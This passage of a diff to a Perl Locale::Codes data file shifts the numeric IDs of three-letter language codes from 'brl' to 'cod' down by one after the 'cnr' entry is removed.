       q(brl) => [
-         q(1432),
+         q(1431),
          q(0),
          ],
       q(brm) => [
-         q(1433),
+         q(1432),
          q(0),
          ],
       q(brn) => [
-         q(1434),
+         q(1433),
          q(0),
          ],
       q(bro) => [
-         q(1435),
+         q(1434),
          q(0),
          ],
       q(brp) => [
-         q(1436),
+         q(1435),
          q(0),
          ],
       q(brq) => [
-         q(1437),
+         q(1436),
          q(0),
          ],
       q(brr) => [
-         q(1438),
+         q(1437),
          q(0),
          ],
       q(brs) => [
-         q(1439),
+         q(1438),
          q(0),
          ],
       q(brt) => [
-         q(1440),
+         q(1439),
          q(0),
          ],
       q(bru) => [
-         q(1441),
+         q(1440),
          q(0),
          ],
       q(brv) => [
-         q(1442),
+         q(1441),
          q(0),
          ],
       q(brw) => [
-         q(1443),
+         q(1442),
          q(0),
          ],
       q(brx) => [
-         q(1444),
+         q(1443),
          q(0),
          ],
       q(bry) => [
-         q(1445),
+         q(1444),
          q(0),
          ],
       q(brz) => [
-         q(1446),
+         q(1445),
          q(0),
          ],
       q(bsa) => [
-         q(1447),
+         q(1446),
          q(0),
          ],
       q(bsb) => [
-         q(1448),
+         q(1447),
          q(0),
          ],
       q(bsc) => [
-         q(1449),
+         q(1448),
          q(0),
          ],
       q(bse) => [
-         q(1450),
+         q(1449),
          q(0),
          ],
       q(bsf) => [
-         q(1451),
+         q(1450),
          q(0),
          ],
       q(bsg) => [
-         q(1452),
+         q(1451),
          q(0),
          ],
       q(bsh) => [
-         q(1453),
+         q(1452),
          q(0),
          ],
       q(bsi) => [
-         q(1454),
+         q(1453),
          q(0),
          ],
       q(bsj) => [
-         q(1455),
+         q(1454),
          q(0),
          ],
       q(bsk) => [
-         q(1456),
+         q(1455),
          q(0),
          ],
       q(bsl) => [
-         q(1457),
+         q(1456),
          q(0),
          ],
       q(bsm) => [
-         q(1458),
+         q(1457),
          q(0),
          ],
       q(bsn) => [
-         q(1459),
+         q(1458),
          q(0),
          ],
       q(bso) => [
-         q(1460),
+         q(1459),
          q(0),
          ],
       q(bsp) => [
-         q(1461),
+         q(1460),
          q(0),
          ],
       q(bsq) => [
-         q(1462),
+         q(1461),
          q(0),
          ],
       q(bsr) => [
-         q(1463),
+         q(1462),
          q(0),
          ],
       q(bss) => [
-         q(1464),
+         q(1463),
          q(0),
          ],
       q(bst) => [
-         q(1465),
+         q(1464),
          q(0),
          ],
       q(bsu) => [
-         q(1466),
+         q(1465),
          q(0),
          ],
       q(bsv) => [
-         q(1467),
+         q(1466),
          q(0),
          ],
       q(bsw) => [
-         q(1468),
+         q(1467),
          q(0),
          ],
       q(bsx) => [
-         q(1469),
+         q(1468),
          q(0),
          ],
       q(bsy) => [
-         q(1470),
+         q(1469),
          q(0),
          ],
       q(bta) => [
-         q(1471),
+         q(1470),
          q(0),
          ],
       q(btc) => [
-         q(1472),
+         q(1471),
          q(0),
          ],
       q(btd) => [
-         q(1473),
+         q(1472),
          q(0),
          ],
       q(bte) => [
-         q(1474),
+         q(1473),
          q(0),
          ],
       q(btf) => [
-         q(1475),
+         q(1474),
          q(0),
          ],
       q(btg) => [
-         q(1476),
+         q(1475),
          q(0),
          ],
       q(bth) => [
-         q(1477),
+         q(1476),
          q(0),
          ],
       q(bti) => [
-         q(1478),
+         q(1477),
          q(0),
          ],
       q(btj) => [
-         q(1479),
+         q(1478),
          q(0),
          ],
       q(btk) => [
@@ -62341,59 +62275,59 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(btm) => [
-         q(1480),
+         q(1479),
          q(0),
          ],
       q(btn) => [
-         q(1481),
+         q(1480),
          q(0),
          ],
       q(bto) => [
-         q(1482),
+         q(1481),
          q(0),
          ],
       q(btp) => [
-         q(1483),
+         q(1482),
          q(0),
          ],
       q(btq) => [
-         q(1484),
+         q(1483),
          q(0),
          ],
       q(btr) => [
-         q(1485),
+         q(1484),
          q(0),
          ],
       q(bts) => [
-         q(1486),
+         q(1485),
          q(0),
          ],
       q(btt) => [
-         q(1487),
+         q(1486),
          q(0),
          ],
       q(btu) => [
-         q(1488),
+         q(1487),
          q(0),
          ],
       q(btv) => [
-         q(1489),
+         q(1488),
          q(0),
          ],
       q(btw) => [
-         q(1490),
+         q(1489),
          q(0),
          ],
       q(btx) => [
-         q(1491),
+         q(1490),
          q(0),
          ],
       q(bty) => [
-         q(1492),
+         q(1491),
          q(0),
          ],
       q(btz) => [
-         q(1493),
+         q(1492),
          q(0),
          ],
       q(bua) => [
@@ -62401,23 +62335,23 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bub) => [
-         q(1494),
+         q(1493),
          q(0),
          ],
       q(buc) => [
-         q(1495),
+         q(1494),
          q(0),
          ],
       q(bud) => [
-         q(1496),
+         q(1495),
          q(0),
          ],
       q(bue) => [
-         q(1497),
+         q(1496),
          q(0),
          ],
       q(buf) => [
-         q(1498),
+         q(1497),
          q(0),
          ],
       q(bug) => [
@@ -62425,19 +62359,19 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(buh) => [
-         q(1499),
+         q(1498),
          q(0),
          ],
       q(bui) => [
-         q(1500),
+         q(1499),
          q(0),
          ],
       q(buj) => [
-         q(1501),
+         q(1500),
          q(0),
          ],
       q(buk) => [
-         q(1502),
+         q(1501),
          q(0),
          ],
       q(bul) => [
@@ -62445,23 +62379,23 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bum) => [
-         q(1503),
+         q(1502),
          q(0),
          ],
       q(bun) => [
-         q(1504),
+         q(1503),
          q(0),
          ],
       q(buo) => [
-         q(1505),
+         q(1504),
          q(0),
          ],
       q(bup) => [
-         q(1506),
+         q(1505),
          q(0),
          ],
       q(buq) => [
-         q(1507),
+         q(1506),
          q(0),
          ],
       q(bur) => [
@@ -62469,379 +62403,379 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(bus) => [
-         q(1508),
+         q(1507),
          q(0),
          ],
       q(but) => [
-         q(1509),
+         q(1508),
          q(0),
          ],
       q(buu) => [
-         q(1510),
+         q(1509),
          q(0),
          ],
       q(buv) => [
-         q(1511),
+         q(1510),
          q(0),
          ],
       q(buw) => [
-         q(1512),
+         q(1511),
          q(0),
          ],
       q(bux) => [
-         q(1513),
+         q(1512),
          q(0),
          ],
       q(buy) => [
-         q(1514),
+         q(1513),
          q(0),
          ],
       q(buz) => [
-         q(1515),
+         q(1514),
          q(0),
          ],
       q(bva) => [
-         q(1516),
+         q(1515),
          q(0),
          ],
       q(bvb) => [
-         q(1517),
+         q(1516),
          q(0),
          ],
       q(bvc) => [
-         q(1518),
+         q(1517),
          q(0),
          ],
       q(bvd) => [
-         q(1519),
+         q(1518),
          q(0),
          ],
       q(bve) => [
-         q(1520),
+         q(1519),
          q(0),
          ],
       q(bvf) => [
-         q(1521),
+         q(1520),
          q(0),
          ],
       q(bvg) => [
-         q(1522),
+         q(1521),
          q(0),
          ],
       q(bvh) => [
-         q(1523),
+         q(1522),
          q(0),
          ],
       q(bvi) => [
-         q(1524),
+         q(1523),
          q(0),
          ],
       q(bvj) => [
-         q(1525),
+         q(1524),
          q(0),
          ],
       q(bvk) => [
-         q(1526),
+         q(1525),
          q(0),
          ],
       q(bvl) => [
-         q(1527),
+         q(1526),
          q(0),
          ],
       q(bvm) => [
-         q(1528),
+         q(1527),
          q(0),
          ],
       q(bvn) => [
-         q(1529),
+         q(1528),
          q(0),
          ],
       q(bvo) => [
-         q(1530),
+         q(1529),
          q(0),
          ],
       q(bvp) => [
-         q(1531),
+         q(1530),
          q(0),
          ],
       q(bvq) => [
-         q(1532),
+         q(1531),
          q(0),
          ],
       q(bvr) => [
-         q(1533),
+         q(1532),
          q(0),
          ],
       q(bvt) => [
-         q(1534),
+         q(1533),
          q(0),
          ],
       q(bvu) => [
-         q(1535),
+         q(1534),
          q(0),
          ],
       q(bvv) => [
-         q(1536),
+         q(1535),
          q(0),
          ],
       q(bvw) => [
-         q(1537),
+         q(1536),
          q(0),
          ],
       q(bvx) => [
-         q(1538),
+         q(1537),
          q(0),
          ],
       q(bvy) => [
-         q(1539),
+         q(1538),
          q(0),
          ],
       q(bvz) => [
-         q(1540),
+         q(1539),
          q(0),
          ],
       q(bwa) => [
-         q(1541),
+         q(1540),
          q(0),
          ],
       q(bwb) => [
-         q(1542),
+         q(1541),
          q(0),
          ],
       q(bwc) => [
-         q(1543),
+         q(1542),
          q(0),
          ],
       q(bwd) => [
-         q(1544),
+         q(1543),
          q(0),
          ],
       q(bwe) => [
-         q(1545),
+         q(1544),
          q(0),
          ],
       q(bwf) => [
-         q(1546),
+         q(1545),
          q(0),
          ],
       q(bwg) => [
-         q(1547),
+         q(1546),
          q(0),
          ],
       q(bwh) => [
-         q(1548),
+         q(1547),
          q(0),
          ],
       q(bwi) => [
-         q(1549),
+         q(1548),
          q(0),
          ],
       q(bwj) => [
-         q(1550),
+         q(1549),
          q(0),
          ],
       q(bwk) => [
-         q(1551),
+         q(1550),
          q(0),
          ],
       q(bwl) => [
-         q(1552),
+         q(1551),
          q(0),
          ],
       q(bwm) => [
-         q(1553),
+         q(1552),
          q(0),
          ],
       q(bwn) => [
-         q(1554),
+         q(1553),
          q(0),
          ],
       q(bwo) => [
-         q(1555),
+         q(1554),
          q(0),
          ],
       q(bwp) => [
-         q(1556),
+         q(1555),
          q(0),
          ],
       q(bwq) => [
-         q(1557),
+         q(1556),
          q(0),
          ],
       q(bwr) => [
-         q(1558),
+         q(1557),
          q(0),
          ],
       q(bws) => [
-         q(1559),
+         q(1558),
          q(0),
          ],
       q(bwt) => [
-         q(1560),
+         q(1559),
          q(0),
          ],
       q(bwu) => [
-         q(1561),
+         q(1560),
          q(0),
          ],
       q(bww) => [
-         q(1562),
+         q(1561),
          q(0),
          ],
       q(bwx) => [
-         q(1563),
+         q(1562),
          q(0),
          ],
       q(bwy) => [
-         q(1564),
+         q(1563),
          q(0),
          ],
       q(bwz) => [
-         q(1565),
+         q(1564),
          q(0),
          ],
       q(bxa) => [
-         q(1566),
+         q(1565),
          q(0),
          ],
       q(bxb) => [
-         q(1567),
+         q(1566),
          q(0),
          ],
       q(bxc) => [
-         q(1568),
+         q(1567),
          q(0),
          ],
       q(bxd) => [
-         q(1569),
+         q(1568),
          q(0),
          ],
       q(bxe) => [
-         q(1570),
+         q(1569),
          q(0),
          ],
       q(bxf) => [
-         q(1571),
+         q(1570),
          q(0),
          ],
       q(bxg) => [
-         q(1572),
+         q(1571),
          q(0),
          ],
       q(bxh) => [
-         q(1573),
+         q(1572),
          q(0),
          ],
       q(bxi) => [
-         q(1574),
+         q(1573),
          q(0),
          ],
       q(bxj) => [
-         q(1575),
+         q(1574),
          q(0),
          ],
       q(bxk) => [
-         q(1576),
+         q(1575),
          q(0),
          ],
       q(bxl) => [
-         q(1577),
+         q(1576),
          q(0),
          ],
       q(bxm) => [
-         q(1578),
+         q(1577),
          q(0),
          ],
       q(bxn) => [
-         q(1579),
+         q(1578),
          q(0),
          ],
       q(bxo) => [
-         q(1580),
+         q(1579),
          q(0),
          ],
       q(bxp) => [
-         q(1581),
+         q(1580),
          q(0),
          ],
       q(bxq) => [
-         q(1582),
+         q(1581),
          q(0),
          ],
       q(bxr) => [
-         q(1583),
+         q(1582),
          q(0),
          ],
       q(bxs) => [
-         q(1584),
+         q(1583),
          q(0),
          ],
       q(bxu) => [
-         q(1585),
+         q(1584),
          q(0),
          ],
       q(bxv) => [
-         q(1586),
+         q(1585),
          q(0),
          ],
       q(bxw) => [
-         q(1587),
+         q(1586),
          q(0),
          ],
       q(bxz) => [
-         q(1588),
+         q(1587),
          q(0),
          ],
       q(bya) => [
-         q(1589),
+         q(1588),
          q(0),
          ],
       q(byb) => [
-         q(1590),
+         q(1589),
          q(0),
          ],
       q(byc) => [
-         q(1591),
+         q(1590),
          q(0),
          ],
       q(byd) => [
-         q(1592),
+         q(1591),
          q(0),
          ],
       q(bye) => [
-         q(1593),
+         q(1592),
          q(0),
          ],
       q(byf) => [
-         q(1594),
+         q(1593),
          q(0),
          ],
       q(byg) => [
-         q(1595),
+         q(1594),
          q(0),
          ],
       q(byh) => [
-         q(1596),
+         q(1595),
          q(0),
          ],
       q(byi) => [
-         q(1597),
+         q(1596),
          q(0),
          ],
       q(byj) => [
-         q(1598),
+         q(1597),
          q(0),
          ],
       q(byk) => [
-         q(1599),
+         q(1598),
          q(0),
          ],
       q(byl) => [
-         q(1600),
+         q(1599),
          q(0),
          ],
       q(bym) => [
-         q(1601),
+         q(1600),
          q(0),
          ],
       q(byn) => [
@@ -62849,159 +62783,159 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(1),
          ],
       q(byo) => [
-         q(1602),
+         q(1601),
          q(0),
          ],
       q(byp) => [
-         q(1603),
+         q(1602),
          q(0),
          ],
       q(byq) => [
-         q(1604),
+         q(1603),
          q(0),
          ],
       q(byr) => [
-         q(1605),
+         q(1604),
          q(0),
          ],
       q(bys) => [
-         q(1606),
+         q(1605),
          q(0),
          ],
       q(byt) => [
-         q(1607),
+         q(1606),
          q(0),
          ],
       q(byv) => [
-         q(1608),
+         q(1607),
          q(0),
          ],
       q(byw) => [
-         q(1609),
+         q(1608),
          q(0),
          ],
       q(byx) => [
-         q(1610),
+         q(1609),
          q(0),
          ],
       q(byz) => [
-         q(1611),
+         q(1610),
          q(0),
          ],
       q(bza) => [
-         q(1612),
+         q(1611),
          q(0),
          ],
       q(bzb) => [
-         q(1613),
+         q(1612),
          q(0),
          ],
       q(bzc) => [
-         q(1614),
+         q(1613),
          q(0),
          ],
       q(bzd) => [
-         q(1615),
+         q(1614),
          q(0),
          ],
       q(bze) => [
-         q(1616),
+         q(1615),
          q(0),
          ],
       q(bzf) => [
-         q(1617),
+         q(1616),
          q(0),
          ],
       q(bzg) => [
-         q(1618),
+         q(1617),
          q(0),
          ],
       q(bzh) => [
-         q(1619),
+         q(1618),
          q(0),
          ],
       q(bzi) => [
-         q(1620),
+         q(1619),
          q(0),
          ],
       q(bzj) => [
-         q(1621),
+         q(1620),
          q(0),
          ],
       q(bzk) => [
-         q(1622),
+         q(1621),
          q(0),
          ],
       q(bzl) => [
-         q(1623),
+         q(1622),
          q(0),
          ],
       q(bzm) => [
-         q(1624),
+         q(1623),
          q(0),
          ],
       q(bzn) => [
-         q(1625),
+         q(1624),
          q(0),
          ],
       q(bzo) => [
-         q(1626),
+         q(1625),
          q(0),
          ],
       q(bzp) => [
-         q(1627),
+         q(1626),
          q(0),
          ],
       q(bzq) => [
-         q(1628),
+         q(1627),
          q(0),
          ],
       q(bzr) => [
-         q(1629),
+         q(1628),
          q(0),
          ],
       q(bzs) => [
-         q(1630),
+         q(1629),
          q(0),
          ],
       q(bzt) => [
-         q(1631),
+         q(1630),
          q(0),
          ],
       q(bzu) => [
-         q(1632),
+         q(1631),
          q(0),
          ],
       q(bzv) => [
-         q(1633),
+         q(1632),
          q(0),
          ],
       q(bzw) => [
-         q(1634),
+         q(1633),
          q(0),
          ],
       q(bzx) => [
-         q(1635),
+         q(1634),
          q(0),
          ],
       q(bzy) => [
-         q(1636),
+         q(1635),
          q(0),
          ],
       q(bzz) => [
-         q(1637),
+         q(1636),
          q(0),
          ],
       q(caa) => [
-         q(1638),
+         q(1637),
          q(0),
          ],
       q(cab) => [
-         q(1639),
+         q(1638),
          q(0),
          ],
       q(cac) => [
-         q(1640),
+         q(1639),
          q(0),
          ],
       q(cad) => [
@@ -63009,19 +62943,19 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(cae) => [
-         q(1641),
+         q(1640),
          q(0),
          ],
       q(caf) => [
-         q(1642),
+         q(1641),
          q(0),
          ],
       q(cag) => [
-         q(1643),
+         q(1642),
          q(0),
          ],
       q(cah) => [
-         q(1644),
+         q(1643),
          q(0),
          ],
       q(cai) => [
@@ -63029,35 +62963,35 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(caj) => [
-         q(1645),
+         q(1644),
          q(0),
          ],
       q(cak) => [
-         q(1646),
+         q(1645),
          q(0),
          ],
       q(cal) => [
-         q(1647),
+         q(1646),
          q(0),
          ],
       q(cam) => [
-         q(1648),
+         q(1647),
          q(0),
          ],
       q(can) => [
-         q(1649),
+         q(1648),
          q(0),
          ],
       q(cao) => [
-         q(1650),
+         q(1649),
          q(0),
          ],
       q(cap) => [
-         q(1651),
+         q(1650),
          q(0),
          ],
       q(caq) => [
-         q(1652),
+         q(1651),
          q(0),
          ],
       q(car) => [
@@ -63065,7 +62999,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(cas) => [
-         q(1653),
+         q(1652),
          q(0),
          ],
       q(cat) => [
@@ -63077,223 +63011,223 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(cav) => [
-         q(1654),
+         q(1653),
          q(0),
          ],
       q(caw) => [
-         q(1655),
+         q(1654),
          q(0),
          ],
       q(cax) => [
-         q(1656),
+         q(1655),
          q(0),
          ],
       q(cay) => [
-         q(1657),
+         q(1656),
          q(0),
          ],
       q(caz) => [
-         q(1658),
+         q(1657),
          q(0),
          ],
       q(cba) => [
-         q(0495),
+         q(0494),
          q(0),
          ],
       q(cbb) => [
-         q(1659),
+         q(1658),
          q(0),
          ],
       q(cbc) => [
-         q(1660),
+         q(1659),
          q(0),
          ],
       q(cbd) => [
-         q(1661),
+         q(1660),
          q(0),
          ],
       q(cbg) => [
-         q(1662),
+         q(1661),
          q(0),
          ],
       q(cbi) => [
-         q(1663),
+         q(1662),
          q(0),
          ],
       q(cbj) => [
-         q(1664),
+         q(1663),
          q(0),
          ],
       q(cbk) => [
-         q(1665),
+         q(1664),
          q(0),
          ],
       q(cbl) => [
-         q(1666),
+         q(1665),
          q(0),
          ],
       q(cbn) => [
-         q(1667),
+         q(1666),
          q(0),
          ],
       q(cbo) => [
-         q(1668),
+         q(1667),
          q(0),
          ],
       q(cbq) => [
-         q(1669),
+         q(1668),
          q(0),
          ],
       q(cbr) => [
-         q(1670),
+         q(1669),
          q(0),
          ],
       q(cbs) => [
-         q(1671),
+         q(1670),
          q(0),
          ],
       q(cbt) => [
-         q(1672),
+         q(1671),
          q(0),
          ],
       q(cbu) => [
-         q(1673),
+         q(1672),
          q(0),
          ],
       q(cbv) => [
-         q(1674),
+         q(1673),
          q(0),
          ],
       q(cbw) => [
-         q(1675),
+         q(1674),
          q(0),
          ],
       q(cby) => [
-         q(1676),
+         q(1675),
          q(0),
          ],
       q(cca) => [
-         q(1677),
+         q(1676),
          q(0),
          ],
       q(ccc) => [
-         q(1678),
+         q(1677),
          q(0),
          ],
       q(ccd) => [
-         q(1679),
+         q(1678),
          q(0),
          ],
       q(cce) => [
-         q(1680),
+         q(1679),
          q(0),
          ],
       q(ccg) => [
-         q(1681),
+         q(1680),
          q(0),
          ],
       q(cch) => [
-         q(1682),
+         q(1681),
          q(0),
          ],
       q(ccj) => [
-         q(1683),
+         q(1682),
          q(0),
          ],
       q(ccl) => [
-         q(1684),
+         q(1683),
          q(0),
          ],
       q(ccm) => [
-         q(1685),
+         q(1684),
          q(0),
          ],
       q(ccn) => [
-         q(0496),
+         q(0495),
          q(0),
          ],
       q(cco) => [
-         q(1686),
+         q(1685),
          q(0),
          ],
       q(ccp) => [
-         q(1687),
+         q(1686),
          q(0),
          ],
       q(ccr) => [
-         q(1688),
+         q(1687),
          q(0),
          ],
       q(ccs) => [
-         q(0497),
+         q(0496),
          q(0),
          ],
       q(cda) => [
-         q(1689),
+         q(1688),
          q(0),
          ],
       q(cdc) => [
-         q(0498),
+         q(0497),
          q(0),
          ],
       q(cdd) => [
-         q(0499),
+         q(0498),
          q(0),
          ],
       q(cde) => [
-         q(1690),
+         q(1689),
          q(0),
          ],
       q(cdf) => [
-         q(1691),
+         q(1690),
          q(0),
          ],
       q(cdg) => [
-         q(1692),
+         q(1691),
          q(0),
          ],
       q(cdh) => [
-         q(1693),
+         q(1692),
          q(0),
          ],
       q(cdi) => [
-         q(1694),
+         q(1693),
          q(0),
          ],
       q(cdj) => [
-         q(1695),
+         q(1694),
          q(0),
          ],
       q(cdm) => [
-         q(1696),
+         q(1695),
          q(0),
          ],
       q(cdn) => [
-         q(1697),
+         q(1696),
          q(0),
          ],
       q(cdo) => [
-         q(1698),
+         q(1697),
          q(0),
          ],
       q(cdr) => [
-         q(1699),
+         q(1698),
          q(0),
          ],
       q(cds) => [
-         q(1700),
+         q(1699),
          q(0),
          ],
       q(cdy) => [
-         q(1701),
+         q(1700),
          q(0),
          ],
       q(cdz) => [
-         q(1702),
+         q(1701),
          q(0),
          ],
       q(cea) => [
-         q(1703),
+         q(1702),
          q(0),
          ],
       q(ceb) => [
@@ -63301,11 +63235,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ceg) => [
-         q(1704),
+         q(1703),
          q(0),
          ],
       q(cek) => [
-         q(1705),
+         q(1704),
          q(0),
          ],
       q(cel) => [
@@ -63313,43 +63247,43 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(cen) => [
-         q(1706),
+         q(1705),
          q(0),
          ],
       q(cet) => [
-         q(1707),
+         q(1706),
          q(0),
          ],
       q(cfa) => [
-         q(1708),
+         q(1707),
          q(0),
          ],
       q(cfd) => [
-         q(1709),
+         q(1708),
          q(0),
          ],
       q(cfg) => [
-         q(1710),
+         q(1709),
          q(0),
          ],
       q(cfm) => [
-         q(1711),
+         q(1710),
          q(0),
          ],
       q(cga) => [
-         q(1712),
+         q(1711),
          q(0),
          ],
       q(cgc) => [
-         q(1713),
+         q(1712),
          q(0),
          ],
       q(cgg) => [
-         q(1714),
+         q(1713),
          q(0),
          ],
       q(cgk) => [
-         q(1715),
+         q(1714),
          q(0),
          ],
       q(cha) => [
@@ -63361,11 +63295,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chc) => [
-         q(1716),
+         q(1715),
          q(0),
          ],
       q(chd) => [
-         q(1717),
+         q(1716),
          q(0),
          ],
       q(che) => [
@@ -63373,7 +63307,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chf) => [
-         q(1718),
+         q(1717),
          q(0),
          ],
       q(chg) => [
@@ -63381,7 +63315,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chh) => [
-         q(1719),
+         q(1718),
          q(0),
          ],
       q(chi) => [
@@ -63389,7 +63323,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chj) => [
-         q(1720),
+         q(1719),
          q(0),
          ],
       q(chk) => [
@@ -63397,7 +63331,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chl) => [
-         q(1721),
+         q(1720),
          q(0),
          ],
       q(chm) => [
@@ -63417,7 +63351,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chq) => [
-         q(1722),
+         q(1721),
          q(0),
          ],
       q(chr) => [
@@ -63425,7 +63359,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(cht) => [
-         q(1723),
+         q(1722),
          q(0),
          ],
       q(chu) => [
@@ -63437,11 +63371,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chw) => [
-         q(1724),
+         q(1723),
          q(0),
          ],
       q(chx) => [
-         q(1725),
+         q(1724),
          q(0),
          ],
       q(chy) => [
@@ -63449,227 +63383,227 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(chz) => [
-         q(1726),
+         q(1725),
          q(0),
          ],
       q(cia) => [
-         q(1727),
+         q(1726),
          q(0),
          ],
       q(cib) => [
-         q(1728),
+         q(1727),
          q(0),
          ],
       q(cic) => [
-         q(1729),
+         q(1728),
          q(0),
          ],
       q(cid) => [
-         q(1730),
+         q(1729),
          q(0),
          ],
       q(cie) => [
-         q(1731),
+         q(1730),
          q(0),
          ],
       q(cih) => [
-         q(1732),
+         q(1731),
          q(0),
          ],
       q(cik) => [
-         q(1733),
+         q(1732),
          q(0),
          ],
       q(cim) => [
-         q(1734),
+         q(1733),
          q(0),
          ],
       q(cin) => [
-         q(1735),
+         q(1734),
          q(0),
          ],
       q(cip) => [
-         q(1736),
+         q(1735),
          q(0),
          ],
       q(cir) => [
-         q(1737),
+         q(1736),
          q(0),
          ],
       q(ciw) => [
-         q(1738),
+         q(1737),
          q(0),
          ],
       q(ciy) => [
-         q(1739),
+         q(1738),
          q(0),
          ],
       q(cja) => [
-         q(1740),
+         q(1739),
          q(0),
          ],
       q(cje) => [
-         q(1741),
+         q(1740),
          q(0),
          ],
       q(cjh) => [
-         q(1742),
+         q(1741),
          q(0),
          ],
       q(cji) => [
-         q(1743),
+         q(1742),
          q(0),
          ],
       q(cjk) => [
-         q(1744),
+         q(1743),
          q(0),
          ],
       q(cjm) => [
-         q(1745),
+         q(1744),
          q(0),
          ],
       q(cjn) => [
-         q(1746),
+         q(1745),
          q(0),
          ],
       q(cjo) => [
-         q(1747),
+         q(1746),
          q(0),
          ],
       q(cjp) => [
-         q(1748),
+         q(1747),
          q(0),
          ],
       q(cjs) => [
-         q(1749),
+         q(1748),
          q(0),
          ],
       q(cjv) => [
-         q(1750),
+         q(1749),
          q(0),
          ],
       q(cjy) => [
-         q(1751),
+         q(1750),
          q(0),
          ],
       q(ckb) => [
-         q(1752),
+         q(1751),
          q(0),
          ],
       q(ckh) => [
-         q(1753),
+         q(1752),
          q(0),
          ],
       q(ckl) => [
-         q(1754),
+         q(1753),
          q(0),
          ],
       q(ckn) => [
-         q(1755),
+         q(1754),
          q(0),
          ],
       q(cko) => [
-         q(1756),
+         q(1755),
          q(0),
          ],
       q(ckq) => [
-         q(1757),
+         q(1756),
          q(0),
          ],
       q(ckr) => [
-         q(1758),
+         q(1757),
          q(0),
          ],
       q(cks) => [
-         q(1759),
+         q(1758),
          q(0),
          ],
       q(ckt) => [
-         q(1760),
+         q(1759),
          q(0),
          ],
       q(cku) => [
-         q(1761),
+         q(1760),
          q(0),
          ],
       q(ckv) => [
-         q(1762),
+         q(1761),
          q(0),
          ],
       q(ckx) => [
-         q(1763),
+         q(1762),
          q(0),
          ],
       q(cky) => [
-         q(1764),
+         q(1763),
          q(0),
          ],
       q(ckz) => [
-         q(1765),
+         q(1764),
          q(0),
          ],
       q(cla) => [
-         q(1766),
+         q(1765),
          q(0),
          ],
       q(clc) => [
-         q(1767),
+         q(1766),
          q(0),
          ],
       q(cld) => [
-         q(1768),
+         q(1767),
          q(0),
          ],
       q(cle) => [
-         q(1769),
+         q(1768),
          q(0),
          ],
       q(clh) => [
-         q(1770),
+         q(1769),
          q(0),
          ],
       q(cli) => [
-         q(1771),
+         q(1770),
          q(0),
          ],
       q(clj) => [
-         q(1772),
+         q(1771),
          q(0),
          ],
       q(clk) => [
-         q(1773),
+         q(1772),
          q(0),
          ],
       q(cll) => [
-         q(1774),
+         q(1773),
          q(0),
          ],
       q(clm) => [
-         q(1775),
+         q(1774),
          q(0),
          ],
       q(clo) => [
-         q(1776),
+         q(1775),
          q(0),
          ],
       q(clt) => [
-         q(1777),
+         q(1776),
          q(0),
          ],
       q(clu) => [
-         q(1778),
+         q(1777),
          q(0),
          ],
       q(clw) => [
-         q(1779),
+         q(1778),
          q(0),
          ],
       q(cly) => [
-         q(1780),
+         q(1779),
          q(0),
          ],
       q(cma) => [
-         q(1781),
+         q(1780),
          q(0),
          ],
       q(cmc) => [
@@ -63677,7851 +63611,7851 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(cme) => [
-         q(1782),
+         q(1781),
          q(0),
          ],
       q(cmg) => [
-         q(1783),
+         q(1782),
          q(0),
          ],
       q(cmi) => [
-         q(1784),
+         q(1783),
          q(0),
          ],
       q(cml) => [
-         q(1785),
+         q(1784),
          q(0),
          ],
       q(cmm) => [
-         q(1786),
+         q(1785),
          q(0),
          ],
       q(cmn) => [
-         q(1787),
+         q(1786),
          q(0),
          ],
       q(cmo) => [
-         q(1788),
+         q(1787),
          q(0),
          ],
       q(cmr) => [
-         q(1789),
+         q(1788),
          q(0),
          ],
       q(cms) => [
-         q(1790),
+         q(1789),
          q(0),
          ],
       q(cmt) => [
-         q(1791),
+         q(1790),
          q(0),
          ],
       q(cna) => [
-         q(1792),
+         q(1791),
          q(0),
          ],
       q(cnb) => [
-         q(1793),
+         q(1792),
          q(0),
          ],
       q(cnc) => [
-         q(1794),
+         q(1793),
          q(0),
          ],
       q(cng) => [
-         q(1795),
+         q(1794),
          q(0),
          ],
       q(cnh) => [
-         q(1796),
+         q(1795),
          q(0),
          ],
       q(cni) => [
-         q(1797),
+         q(1796),
          q(0),
          ],
       q(cnk) => [
-         q(1798),
+         q(1797),
          q(0),
          ],
       q(cnl) => [
-         q(1799),
+         q(1798),
          q(0),
          ],
       q(cno) => [
-         q(1800),
-         q(0),
-         ],
-      q(cnr) => [
-         q(0090),
+         q(1799),
          q(0),
          ],
       q(cns) => [
-         q(1801),
+         q(1800),
          q(0),
          ],
       q(cnt) => [
-         q(1802),
+         q(1801),
          q(0),
          ],
       q(cnu) => [
-         q(1803),
+         q(1802),
          q(0),
          ],
       q(cnw) => [
-         q(1804),
+         q(1803),
          q(0),
          ],
       q(cnx) => [
-         q(1805),
+         q(1804),
          q(0),
          ],
       q(coa) => [
-         q(1806),
+         q(1805),
          q(0),
          ],
       q(cob) => [
-         q(1807),
+         q(1806),
          q(0),
          ],
       q(coc) => [
-         q(1808),
+         q(1807),
          q(0),
          ],
       q(cod) => [
